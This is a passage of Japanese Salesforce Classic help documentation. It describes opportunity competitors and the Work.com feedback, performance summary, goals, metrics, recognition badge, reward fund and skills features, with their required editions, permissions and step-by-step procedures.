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競合の表示と編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Summer '09 よりも前に有
効化された組織のすべて
のエディション

使用可能なエディション:
Summer '09 以降に有効化
された組織の Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

競合を参照する
• 商談に対する「参照」

競合を編集する
• 商談に対する「編集」

商談の [競合] 関連リストには、その商談の競合会社が表示されます。
• 競合会社の情報を表示するには、その競合名をクリックします。
• 商談におけるその競合会社の長所や弱点を編集するには、競合会社名の横に

ある [編集] をクリックします。
• 競合会社を追加するには、[新規] をクリックします。競合会社の名前を入力

するか、ルックアップアイコンをクリックして、システム管理者が定義した
競合会社のリストから会社を選択します。既存の取引先または取引先責任者
である必要はありません。競合会社を選択した後、商談ごとに異なる可能性
がある競合会社の強みと弱みを確認します。

メモ: 商談に競合会社を追加または作成するには、その商談を編集するた
めのアクセス権も持っている必要があります。
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Work.com によるパフォーマンスの向上

フィードバックの概要
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フィードバックには、
Work.comライセンスが必
要です。このライセンス
は、Professional Edition、
Enterprise Edition、
Unlimited Edition、または
Developer Editionのアドオ
ンライセンスとして取得
できます。また、
Performance Edition には
含まれています。

ユーザ権限

フィードバック、フィードバック質問、
フィードバック質問セット、フィード
バック要求に対する「参照」

および

パフォーマンスサイクルに対する「参
照」

フィードバックを参照する

フィードバック、フィードバック質問、
フィードバック質問セット、フィード
バック要求に対する「作成」

および

パフォーマンスサイクルに対する「参
照」

フィードバックを作成する

フィードバック、フィードバック質問、
フィードバック質問セット、フィード
バック要求に対する「編集」

および

パフォーマンスサイクルに対する「参
照」

フィードバックを編集または送信する

フィードバック、フィードバック質問、
フィードバック質問セット、フィード
バック要求に対する「削除」

および

フィードバックを削除する (MAD/VAD 権
限を持つ管理ユーザのみ)

パフォーマンスサイクルに対する「参
照」

Work.comのフィードバックでは、ユーザまたはトピックに関する未承諾のフィードバックを要求および送信し
たり、パフォーマンスサマリーに関連するフィードバックに返答したりできます。
フィードバックの提供、フィードバックの要求、パフォーマンスサマリーに関連するフィードバックは、すべ
て [フィードバック] タブで管理されます。デフォルトでは、ユーザが参照した最近のフィードバックが [フィー
ドバック] タブに表示されますが、フィードバックの異なるレコードタイプを表示するように絞り込むことも
できます。たとえば、[新しいフィードバック要求]を選択すると、ユーザ入力を必要とするフィードバックレ
コードが表示されます。また、異なる検索条件オプションを使用してカスタムリストビューを作成することも
できます。
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デフォルトのフィードバック検索条件は、次のとおりです。
• すべてのフィードバック — 1 回限りのフィードバックとパフォーマンスサマリーフィードバックを含むす

べてのフィードバック
• 却下されたフィードバック要求 — ユーザが要求し、他のユーザが却下したすべてのフィードバック
• 自分に関するフィードバック — 自分に関して完了されたすべてのフィードバック
• 自分のチームに関するフィードバック — 自分のチームに関して完了されたすべてのフィードバック
• 他のユーザに関するフィードバック — 他のユーザに関して完了されたフィードバック
• トピックに関するフィードバック — トピックに関して完了されたフィードバック
• 新規フィードバック返答 — 要求したフィードバックに対する新規の返答
• 新規フィードバック要求 — 1 回限りのフィードバックとパフォーマンスサマリーに関する新規のフィード

バック要求

フィードバックページでは、次の操作を実行できます。
• 新規要求、新規返信、および他のフィードバックのための、フィードバックリストの参照および絞り込み
• フィードバックレコードをクリックして、そのフィードバックに関する詳細を参照および編集
• フィードバックの提供または要求

関連トピック:

フィードバックの表示
パフォーマンスサマリーの概要
Work.com の設定の有効化または無効化
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フィードバックの表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フィードバックには、
Work.comライセンスが必
要です。このライセンス
は、Professional Edition、
Enterprise Edition、
Unlimited Edition、または
Developer Editionのアドオ
ンライセンスとして取得
できます。また、
Performance Edition には
含まれています。

表示オプションは、選択したフィードバックの種別に基づきます。

要求されたフィードバック
あなたの要求を参照できるのは、あなたがフィードバック要求を送信したユー
ザと、「すべてのデータの編集」または「すべてのデータの参照」権限を持つ
システム管理者のみです。

MAD/VAD アクセ
ス権を持つシステ
ム管理者

ユーザのマネー
ジャ

要求の受信者要求されたフィー
ドバックの対象

トピック

私自身

別のユーザ

送信されたフィードバック
参照できるのは、あなたと共有されているフィードバックのみです。たとえば、
自分自身に関するフィードバックでも、マネージャとのみ共有されている場合
は参照することはできません。

MAD/VAD アクセ
ス権を持つシステ
ム管理者

ユーザのマネー
ジャ

ユーザ送信されたフィー
ドバック

ユーザのみ

ユーザとマネー
ジャ

マネージャのみ

関連トピック:

フィードバックの概要
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パフォーマンスサマリーの概要
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パフォーマンスサマリー
には、Work.comのライセ
ンスが必要です。このラ
イセンスは、Professional
Edition、Enterprise
Edition、Unlimited
Edition、または Developer
Edition のアドオンライセ
ンスとして取得できま
す。また、Performance
Edition には含まれていま
す。
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ユーザ権限

[パフォーマンス] タブを表
示する
• パフォーマンスサイク

ルに対する「参照」

パフォーマンスサマリー
を参照する
• パフォーマンスサイク

ルに対する「参照」

パフォーマンスサマリー
を作成する
• パフォーマンスサイク

ルに対する「作成」

パフォーマンスサマリー
に回答して送信する
• フィードバック、

フィードバック質問、
フィードバック質問
セット、フィードバッ
ク要求に対する「作
成」、「参照」、およ
び「編集」

および

パフォーマンスサイク
ルに対する「参照」

Work.com パフォーマンスサマリーには、カスタム質問表を介して社内のユーザ
についてのフィードバックが収集されます。
[フィードバック] タブを使用して、完了する必要があるパフォーマンスサマリー
を表示します。パフォーマンスサマリーおよびその他のフィードバックを絞り
込むには、ドロップダウンメニューを使用します。入力が必要な 1 回限りの
フィードバックとパフォーマンスサマリーを表示するには、[新しいフィード
バック要求] を選択します。

関連トピック:

パフォーマンスサマリーへのピアの追加
サマリーの完了
パフォーマンスサマリー要求の拒否
パフォーマンスサマリーサイクルの概要
Work.com の設定の有効化または無効化
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サマリーの完了

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パフォーマンスサマリー
には、Work.comのライセ
ンスが必要です。このラ
イセンスは、Professional
Edition、Enterprise
Edition、Unlimited
Edition、または Developer
Edition のアドオンライセ
ンスとして取得できま
す。また、Performance
Edition には含まれていま
す。

ユーザ権限

パフォーマンスサマリー
を編集する
• フィードバック、

フィードバック質問、
フィードバック質問
セット、フィードバッ
ク要求に対する「作
成」、「参照」、およ
び「編集」

および

パフォーマンスサイク
ルに対する「参照」

1. [フィードバック] タブで、フィードバックのドロップダウンリストから[新し
いフィードバック要求] を選択します。

2. [Go!] をクリックします。
3. パフォーマンスサマリーを選択します。
4. サマリーの質問に回答します。使用可能な場合は、[同僚を招待] または [ス

キップレベルを招待] をクリックして他のユーザからのレビューを要求しま
す。
感謝、目標、総計値、フィードバックなどの最近の作業を表示するには、パ
フォーマンスサマリーの詳細ページで [関連リストをカスタマイズ]をクリッ
クします。最近の作業を直接返答に引用することはできませんが、この情報
を手動で追加できます。
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5. サマリーに記入し終えたら、[送信]をクリックするか、[下書きの保存]をクリックして後から変更を加えま
す。

自分または自分のチームに関するサマリーを含め、送信済みのサマリーを [フィードバック] タブの検索条件を
使用して参照できます。

関連トピック:

パフォーマンスサマリーの概要
パフォーマンスサマリーへのピアの追加
パフォーマンスサマリー要求の拒否
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パフォーマンスサマリーへのピアの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パフォーマンスサマリー
には、Work.comのライセ
ンスが必要です。このラ
イセンスは、Professional
Edition、Enterprise
Edition、Unlimited
Edition、または Developer
Edition のアドオンライセ
ンスとして取得できま
す。また、Performance
Edition には含まれていま
す。

ユーザ権限

パフォーマンスサマリー
を参照する
• パフォーマンスサイク

ルに対する「参照」

パフォーマンスサマリー
にピアを追加する
• フィードバック、

フィードバック質問、
フィードバック質問
セット、フィードバッ
ク要求に対する「作
成」、「参照」、およ
び「編集」

および

パフォーマンスサイク
ルに対する「参照」

パフォーマンスサマリーのレビューにピアを招待します。
1. [フィードバック] タブで、フィードバックのドロップダウンリストから[新し

いフィードバック要求] を選択します。
2. [Go!] をクリックします。
3. パフォーマンスサマリーを選択します。
4. ピアまたはスキップのレビューが含まれている場合は、ページ上部の [同僚

を招待] または [スキップレベルを招待] をクリックします。
5. 招待する人の名前を入力し、[保存] をクリックします。

名前は招待された人のリストに表示され、ピアサマリーまたはスキップレベ
ルサマリーの完了を求めるメールが送信されます。

関連トピック:

パフォーマンスサマリーの概要
サマリーの完了
パフォーマンスサマリー要求の拒否
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パフォーマンスサマリー要求の拒否

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パフォーマンスサマリー
には、Work.comのライセ
ンスが必要です。このラ
イセンスは、Professional
Edition、Enterprise
Edition、Unlimited
Edition、または Developer
Edition のアドオンライセ
ンスとして取得できま
す。また、Performance
Edition には含まれていま
す。

ユーザ権限

[パフォーマンス] タブを表
示する
• パフォーマンスサイク

ルに対する「参照」

パフォーマンスサマリー
を編集する
• フィードバック、

フィードバック質問、
フィードバック質問
セット、フィードバッ
ク要求に対する「作
成」、「参照」、およ
び「編集」

および

パフォーマンスサイク
ルに対する「参照」

ユーザまたはチームに関するフィードバックが不要になったら、パフォーマン
スサマリー要求を拒否します。
1. [フィードバック] タブで、フィードバックのドロップダウンリストから[新し

いフィードバック要求] を選択します。
2. [Go!] をクリックします。
3. パフォーマンスサマリーを選択します。
4. [拒否] をクリックします。
5. 確認メッセージで [OK] をクリックします。

• 拒否できるのは、セルフサマリー、ピアサマリー、スキップレベルサマ
リーのみです。

• 保存済みの回答は保持され、拒否されたサマリーに残ります。
• 拒否されたサマリーは、[フィードバック] ページで [すべてのフィードバッ

ク] 検索条件を使用して表示できます。
• サマリーを再度開くには、拒否されたサマリーの詳細ページから [再開]

をクリックします。再度開いたサマリーは、[新規フィードバック要求] リ
ストに表示されます。

• パフォーマンスサイクルが「終了」すると、拒否されたサマリーは再度
開くことができなくなります。

関連トピック:

パフォーマンスサマリーの概要
パフォーマンスサマリーへのピアの追加
サマリーの完了
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目標の概要
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

目標には、Work.comライ
センスが必要です。この
ライセンスは、
Professional Edition、
Enterprise Edition、
Unlimited Edition、または
Developer Editionのアドオ
ンライセンスとして取得
できます。また、
Performance Edition には
含まれています。

ユーザ権限

目標を表示する
• 目標および目標リンク

に対する「参照」

目標を作成する
• 目標および目標リンク

に対する「作成」

目標を編集する
• 目標および目標リンク

に対する「編集」

目標を削除する
• 目標および目標リンク

に対する「削除」

Work.comの目標では、作業を定義、追跡、および測定できます。[目標] タブまた
は Chatter プロファイルページを使用して目標にアクセスします。
ユーザプロファイルの [目標] タブには、そのユーザの目標が表示されます。最
上位の [目標] タブは、目標の異なるリスト (私の目標、私のチームの目標、主要
な会社目標など) を表示するために設定できる一般的なリストビューです。表示
されるタブとリストビューは、システム管理者による Work.com の設定に応じて
異なる場合があります。
リストビューの目標をクリックすると、詳細ページにアクセスできます。
目標では目標レコードでChatterフィードがサポートされているため、異なるユー
ザがフィードでコラボレーションし、目標の達成状況を最新に保つことができ
ます。
目標の詳細ページには、特定の目標に関連する総計値、ToDo、行動、メモ、添
付ファイル、および他の情報が表示されます。自分の目標を親目標またはサブ
目標とリンクすることで、別のユーザの目標に適合させます。
共有設定を変更すると、目標を表示および更新できるユーザをより適切に制御
できます。たとえば、組織の目標がデフォルトで非公開に設定されている場合、
目標の所有者とシステム管理者は、選択したユーザまたはグループと目標を共
有して、コラボレーションおよび表示を強化できます。目標へのアクセス権を
より詳細に制御するには、「参照のみ」権限または「参照・更新」権限を選択
します。
[活動予定] 関連リストで [新規 ToDo] または [新規行動] をクリックすると、特定
の目標に関連する ToDo または行動を作成できます。また、必要に応じて、個々
の総計値の ToDo または行動も作成できます。
総計値を目標に追加して、進行状況を計算します。また、お気に入りのレポー
トのデータに総計値をリンクして、Salesforce での作業を追跡することもできま
す。目標の完了を正確に追跡するために、異なる総計値に加重を割り当てます。

関連トピック:

目標の作成
総計値
コーチングの概要
ToDo を使用する場合の考慮事項
行動とカレンダーを使用する場合の考慮事項
Chatter フィード追跡のカスタマイズ
Work.com の設定の有効化または無効化
総計値
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目標の作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

目標には、Work.comライ
センスが必要です。この
ライセンスは、
Professional Edition、
Enterprise Edition、
Unlimited Edition、または
Developer Editionのアドオ
ンライセンスとして取得
できます。また、
Performance Edition には
含まれています。

ユーザ権限

目標を表示する
• 目標および目標リンク

に対する「参照」

目標を作成する
• 目標および目標リンク

に対する「作成」

Work.com Goals を使用して仕事を定義、追跡、および測定できます。
1. 最上位の [目標] タブをクリックします。

[目標] タブが表示されない場合は、右側にある Force.comアプリケーションド
ロップダウンメニューからWork.comを選択するか、現在のタブの右側にある

をクリックして [すべてのタブ] ページから [目標] タブを選択します。
2. [新規] をクリックします。
3. 目標の名前を入力して、詳細を指定します。

目標を作成したら、その共有設定を調整できます。目標の画像はすべて外部
参照可能です。

ヒント: 主要な会社目標を作成するには、[主要な会社目標] 項目を選択
します。目標を作成したら、目標の詳細ページで[共有]をクリックし、
「すべての内部ユーザ」グループと共有します。[アクセス権] を [参照
のみ] に設定して組織の残りのユーザと共有するか、[アクセス権] を [参
照・更新] に設定して全員が目標に関してコラボレーションできるよう
にします。

4. 目標の状況を設定します。
• ドラフト — 目標の詳細がドラフト状態で、まだ最終決定されていませ

ん。
• 公開済み — 目標の詳細が最終決定され、目標を達成中です。
• 完了 — 目標が達成されました。
• キャンセル — 目標がキャンセルされ、適用されなくなりました。
• 未完了 — 目標が達成されていません。

5. [保存] をクリックします。
目標を他のユーザに再割り当てする場合は、目標の詳細ページの [所有者氏名]

の横にある [変更] をクリックします。総計値が別のユーザによって所有されて
いる可能性があるため、総計値も適切な所有者に再割り当てする必要がありま
す。

関連トピック:

目標の概要
総計値
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総計値
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

総計値には、Work.comラ
イセンスが必要です。こ
のライセンスは、
Professional Edition、
Enterprise Edition、
Unlimited Edition、または
Developer Editionのアドオ
ンライセンスとして取得
できます。また、
Performance Edition には
含まれています。

データを追跡して分析するには、総計値を使用します。
新しい総計値は [総計値] タブまたは目標の詳細ページから作成します。ユーザ
はスタンドアロンの総計値を作成するか、総計値を特定の目標に関連付けるこ
とができます。
自分自身または他のユーザに対して設定した異なる目標の状況を追跡するには、
[進行状況] または [完了] 総計値を使用します。「参照・更新」アクセス権を持つ
全員が総計値を更新できます。関連するコーチングスペースとパフォーマンス
サマリーでも総計値を表示できます。
「参照・更新」アクセス権を持つ全員が総計値を更新できます。関連するコー
チングスペースとパフォーマンスサマリーでも総計値を表示できます。

総計値の作成
Work.com 総計値を使用して、作業を追跡および分析できます。

関連トピック:

総計値の作成
目標の概要
目標の作成
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総計値の作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

総計値には、Work.comラ
イセンスが必要です。こ
のライセンスは、
Professional Edition、
Enterprise Edition、
Unlimited Edition、または
Developer Editionのアドオ
ンライセンスとして取得
できます。また、
Performance Edition には
含まれています。

ユーザ権限

総計値を参照する
• 総計値に対する「参

照」

総計値を作成する
• 総計値に対する「作

成」権限

レポートに総計値をリン
クする
• 総計値データリンクに

対する「作成」権限

Work.com 総計値を使用して、作業を追跡および分析できます。
1. [総計値] タブをクリックします。

または、目標の詳細ページで [新規統計値] をクリックします。
2. [新規] をクリックします。
3. [進行状況] または [完了] レコードタイプを選択して、[続行] をクリックしま

す。
• 進行状況総計値は、目標値と比較してどの程度完了しているかに基づい

てアチーブメントを測定します。具体的な数字と達成率 (%) を追跡する場
合に適しています。たとえば、「50 件のリードの取引開始」や「100% の
顧客満足度の達成」に対する進行状況総計値を作成します。

• 完了総計値は、総計値が完了しているかどうかを測定します。マイルス
トンの追跡や、具体的な数字に基づく総計値がない場合に適しています。
たとえば、「Salesforce の認定取得」に対する完了総計値を作成しま
す。

4. 総計値の名前を入力して、その他の詳細を指定します。
5. 進行状況総計値の場合は、目標値を入力します。

現在の値を手動で更新するか、Salesforce レポートにリンクすることができま
す。レポートに総計値をリンクする手順は、次のとおりです。
a. [現在の値] 項目で、[Salesforce レポートから] をクリックします。
b. レポート名を選択します。
c. 集計項目を選択します。

6. 総計値の状況を設定します。
7. [保存] をクリックします

関連トピック:

総計値
目標の概要
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レコグニションの概要
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

報奨機能には、Work.com
ライセンスが必要です。
このライセンスは、
Professional Edition、
Enterprise Edition、
Unlimited Edition、または
Developer Editionのアドオ
ンライセンスとして取得
できます。また、
Performance Edition には
含まれています。

カスタムメッセージ、バッジ、および報奨を同僚のChatterフィードに投稿して、
同僚を表彰したり感謝の気持ちを表したりします。
Work.com レコグニションには、無制限のカスタムバッジおよびバッジをギフト
カードなどの具体的な報奨に関連付ける機能がある感謝が含まれています。マ
ネージャは、レコグニションリーダーに関するデータを表示するためのレポー
トとダッシュボードを作成できます。必要なユーザ権限の他に、システム管理
者は組織で [感謝] および [報奨] を有効にする必要があります。システム管理者
による Work.com の設定に応じて、[レコグニション] タブと [バッジ] タブは最上
位のタブとして表示されることがあります。また、[レコグニション] タブは、
Chatter プロファイルでサブタブとして表示されることもあります。

メモ: ユーザは、Work.com ライセンスがなくても、感謝バッジを作成、編
集、共有、および付与できます。ただし、報奨付きのバッジの使用するに
は、ユーザに Work.com ライセンスが必要です。Work.com の取得についての
詳細は、Salesforce にお問い合わせください。

使用可能なバッジのライブラリには、[バッジ] タブからアクセスします。[新規] をクリックしてバッジを作成
するか、バッジをクリックしてバッジの詳細を表示または編集します。表示できるのは付与権限があるバッジ
のみで、機能の設定方法によっては、バッジを作成または編集する機能が制限される場合があります。

1742

レコグニションの概要顧客への営業



感謝バッジは、Chatterパブリッシャーから付与します。現在は、一度に 1 人のユーザにしかバッジを付与でき
ません。詳細は、「同僚への感謝」を参照してください。
ユーザが受け取ったバッジは、ユーザの Chatter プロファイルの [レコグニション] タブに表示されます。

関連トピック:

バッジの作成
感謝バッジへのアクセスの設定
報奨資金
報奨資金の作成
Work.com の設定の有効化または無効化
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バッジの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

報奨機能には、Work.com
ライセンスが必要です。
このライセンスは、
Professional Edition、
Enterprise Edition、
Unlimited Edition、または
Developer Editionのアドオ
ンライセンスとして取得
できます。また、
Performance Edition には
含まれています。

ユーザ権限

[バッジ] タブを参照する
• 追加のユーザ権限は必

要ありません

バッジを作成する
• ドキュメントに対する

「作成」
• [カスタムバッジの作成

者の制限] 設定はデ
フォルトで無効になっ
ています。この設定が
有効になっている場合
は、ユーザに「カスタ
ムバッジ定義を作成」
権限が必要です。

同僚を独自に表彰して謝意を表すには、カスタムバッジを作成します。

段階的な手順: 感謝バッジを作成する
1. [バッジ] タブをクリックします。

[バッジ] タブが表示されない場合は、現在のタブの右にある をクリック
し、[すべてのタブ] ページから選択します。

2. [新規] をクリックします。
3. バッジの名前と説明を入力し、バッジの画像を追加します。必要に応じて、

報奨とバッジ制限を割り当てます。

メモ:

• 報奨バッジを作成できるのは、[報奨] が有効になっているユーザのみ
です。

• バッジは Sandbox 組織から本番組織に転送できます。
• [アクセス] 関連リストによるバッジレコードへのアクセスを制限でき

ますが、バッジ画像は外部参照可能です。

説明バッジ項目

バッジの名前。バッジ名

バッジが有効で付与可能であること
を示します。この設定は、デフォル
トで有効になっています。

有効

このバッジの報奨資金を選択します
(該当する場合)。

報奨資金

バッジ所有者の名前。所有者氏名

このバッジを会社のバッジにする場
合に選択します。会社のバッジを作
成および編集できるのは、Chatter モ
デレータ権限を持つユーザのみです。
会社のバッジにより、すべてのユー
ザがバッジを付与できます。

会社のバッジ

バッジの意味の説明。説明

バッジのビジュアル表現。画像項目
をクリックして、コンピュータのディ

画像の URL

レクトリから画像を選択します。バッ
ジ画像は、128 x 128 ピクセルで保存さ
れ、外部から使用できます。
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説明バッジ項目

付与できるバッジの数。ユーザあたりまたは全ユー
ザの値を指定できます。デフォルト値では、バッジ
数に制限はありません。

数の制限

使用されたバッジ数のカウントが開始される日を示
します。デフォルト値は、バッジの作成日です。

開始日の制限

ユーザごとに数の制限を適用する場合は、[ユーザ]

を選択します。組織全体に数の制限を適用する場合
は、[会社ごと] を選択します。

制限種別

4. [保存] をクリックします。
カスタムバッジへのアクセス権は、デフォルトですべての内部ユーザに設定されます。カスタムバッジへのア
クセス権を変更するには、バッジの詳細ページに移動し、[アクセス] 関連リストの [リストを編集]をクリック
します。

関連トピック:

レコグニションの概要
感謝バッジへのアクセスの設定
報奨資金
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感謝バッジへのアクセスの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

報奨機能には、Work.com
ライセンスが必要です。
このライセンスは、
Professional Edition、
Enterprise Edition、
Unlimited Edition、または
Developer Editionのアドオ
ンライセンスとして取得
できます。また、
Performance Edition には
含まれています。

[アクセス] 関連リストを使用して感謝バッジへのアクセスを設定します。
1. [バッジ] タブで、変更するバッジをクリックします。

[バッジ] タブが表示されない場合、現在のタブの右にある をクリックし、
[すべてのタブ] ページから選択します。

2. [アクセス] 関連リストの下で、[リストを編集] をクリックします。
3. アクセス権を付与する公開グループまたはユーザを入力します。

アクセス権は、サポートされるライセンスを持つユーザにのみ付与できま
す。

4. [保存] をクリックします

関連トピック:

レコグニションの概要
バッジの作成
報奨資金
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報奨資金
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

報奨機能には、Work.com
ライセンスが必要です。
このライセンスは、
Professional Edition、
Enterprise Edition、
Unlimited Edition、または
Developer Editionのアドオ
ンライセンスとして取得
できます。また、
Performance Edition には
含まれています。

ユーザ権限

報奨資金を表示する
• 報奨資金に対する「参

照」

報奨資金を作成する
• 報奨に対する「作成」

報奨資金に対する「作
成」

Work.com の報奨では、具体的な報奨をバッジに関連付けることができます。世
界中の多数のデジタルギフトコードから選択する具体的な報奨にバッジを添付
できます。
システム管理者は組織で [感謝] および [報奨] を有効化する必要があります。
Work.comの報奨では、デフォルトの Amazon.com™報奨資金種別に加えて、任意の
報奨プログラムまたはブランドがサポートされます。報奨情報は、2 つのオブ
ジェクト (報奨資金種別と報奨資金) に保存されます。次に、2 つの違いを簡単に
説明します。
報奨資金種別

このオブジェクトには、通貨種別、受け取り情報、CSV ファイルアップロー
ドの詳細など、報奨に関する固定情報が保持されます。例として、
Amazon.com™、iTunes™、Starbucks™ などがあります。

報奨資金
このオブジェクトにはギフトコードが保持され、1 つの報奨資金種別のみに
関連付けることができます。各報奨資金には、特定の額面金額のギフトコー
ドの購入によって指定する設定値があります。
たとえば、「Q1 US 報奨」という報奨資金に、各 100 ドル相当の Amazon.com

ギフトカードにリンクするコードが含まれているとします。また、「Q1 カス
タマーサービス報奨」という報奨資金に、各 20 ドル相当の Amazon.com ギフ
トカードにリンクするコードが含まれているとします。これらの報奨資金
は、同じ報奨資金種別に関連付けられます。ただし、Starbucks ギフトカード
にリンクする報奨資金は、別の報奨資金種別に関連付けられます。

報奨バッジは、3 つのステップで作成できます。
1. 報奨資金種別を作成するか、デフォルトの報奨資金種別である Amazon.com を

使用します。
2. 報奨資金を作成し、報奨コードをアップロードします。
3. 感謝バッジを報奨資金に関連付けます。

関連トピック:

レコグニションの概要
報奨資金種別の作成
報奨資金の作成
バッジの作成
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報奨資金種別の作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

報奨機能には、Work.com
ライセンスが必要です。
このライセンスは、
Professional Edition、
Enterprise Edition、
Unlimited Edition、または
Developer Editionのアドオ
ンライセンスとして取得
できます。また、
Performance Edition には
含まれています。

ユーザ権限

報奨資金種別を参照する
• 報奨資金種別に対する

「参照」

報奨資金種別を作成する
• 報奨資金種別に対する

「作成」

報奨資金に対する「参
照」および「作成」

報奨に対する「参照」
および「作成」

報奨資金種別を使用して、通貨コード、受け取り情報、CSV ファイルアップロー
ドの詳細など、一般的な報奨情報を指定します。
1. [報奨資金種別] タブをクリックします。

[報奨資金種別] タブを使用できない場合は、現在のタブの右に表示される
をクリックし、[すべてのタブ] ページから選択します。

2. [新規] をクリックします。
3. 報奨資金種別の詳細を入力します。

情報

説明項目

報奨資金種別の名前。「Amazon.CA (カナダ)」や「Starbucks

(米国)」など、内容がわかる名前を付けるようにします。
報奨資金種別名

報奨を現金報奨に関連付けるには、[ギフトコード] を選
択します。報奨を現金以外に関連付ける場合は、[ポイン
ト] を選択します。ポイントを使用する報奨資金種別で
は、[通貨コード] 項目は無視されます。

クレジットシス
テム

報奨資金種別が有効か、有効でないかの表示。有効

報奨資金種別の所有者。所有者氏名

通貨の種別。通貨コード

デフォルト種別の「Amazon.com」のように、報奨資金種
別が定義済みかどうかを示す参照のみの設定。定義済み
報奨資金種別の名前、クレジットシステム、通貨コード
は変更できません。定義済みの資金種別はシステムで生
成され、編集できません。

定義済み

受け取り

説明項目

報奨の受け取りが行われる URL。この項目は、報奨コー
ドの種別に応じて省略可能になります。報奨コードがリ
ンクの場合、受け取り URL を入力しないでください。

受け取り URL

報奨を受け取るために必要なステップを含む、報奨の受
け取り手順。

受け取り情報

報奨資金種別に関するその他の規約情報。規約および免責
条項
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設定をアップロード

説明項目

報奨コードを指定する CSV ファイル内の列。アップロードでは、デフォルトで
2 番目の列が使用されます。別の列を指定するには、数値を入力します。

報奨コード列

報奨値を指定する CSV ファイル内の列。アップロードでは、デフォルトで 3 番
目の列が使用されます。別の列を指定するには、数値を入力します。

報奨値列

4. [保存] をクリックします。

関連トピック:

報奨資金
報奨資金の作成
バッジの作成
レコグニションの概要
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報奨資金の作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

報奨機能には、Work.com
ライセンスが必要です。
このライセンスは、
Professional Edition、
Enterprise Edition、
Unlimited Edition、または
Developer Editionのアドオ
ンライセンスとして取得
できます。また、
Performance Edition には
含まれています。

ユーザ権限

報奨資金を表示する
• 報奨資金に対する「参

照」

報奨資金を作成する
• 報奨資金に対する「作

成」

報奨に対する「作成」

報奨資金を使用して、報奨資金種別に関連するギフトコードを保持します。
ユーザは、作成した報奨資金を使用して報奨バッジを作成できます。報奨資金
には、TangoCard™ などのサードパーティベンダのいずれかから購入した
Amazon.com™ギフトカードや、Amazon.com 以外のさまざまな報奨プログラムを含
めることができます。
1. [報奨資金] タブをクリックします。

[報奨資金] タブを使用できない場合は、現在のタブの右にある をクリック
し、[すべてのタブ] ページから選択します。

2. [新規] をクリックします。
3. 資金に名前を付け、[報奨資金種別] を選択し、報奨額を入力します。
4. [保存] をクリックします。
5. ギフトコードをアップロードまたは入力します。

• CSV ファイルを使用してギフトコードをアップロードするには、[CSV を
アップロード]を選択してから、[ファイルを選択]を選択します。CSV ファ
イルを選択し、[アップロード] をクリックします。
アップロードでは、デフォルトで報奨コードに 2 番目の列、報奨値に 3 番
目の列が使用されます。ただし、これらは関連する報奨資金種別で別の
値に設定できます。CSV ファイルの形式を設定する方法の例を次に示しま
す。

メモ: 報奨コードデータは、CSV ファイルの 2 行目から必ず開始しま
す。1 行目はヘッダー行として表示され、アップロードされません。
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• ギフトコードを手動で入力するには、[新規報奨] を選択します。ギフトコード情報を入力し、[保存] を
クリックします。

関連トピック:

レコグニションの概要
報奨資金
報奨資金種別の作成
バッジの作成
レコグニションの概要

スキルの概要
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

スキルにより、ユーザは専門知識に関する情報を共有できます。スキルを使用
すると、ユーザは他のユーザをその知識に基づいて検出、コラボレーション、
および支持できます。
スキル機能により、さまざまな領域のエキスパートを特定しやすくなります。
ユーザは自分の Chatter プロファイルページまたはレコード詳細ページにスキル
を追加または削除でき、他のユーザはこれらのスキルを支持できます。特定の
スキルを持つエキスパートを検索するには、グローバル検索バーを使用します。

レコードの詳細ページを使用したスキルの追加
スキルを追加して、専門知識を共有します。
レコードの詳細ページを使用したスキルの削除
適用されなくなったスキルを削除します。
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レコードの詳細ページを使用したスキルの支持
ユーザのスキルを支持して、特定分野の専門知識を奨励します。

関連トピック:

Work.com の設定の有効化または無効化
スキルのカスタマイズ
スキルの制限事項
レコードの詳細ページを使用したスキルの追加

レコードの詳細ページを使用したスキルの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
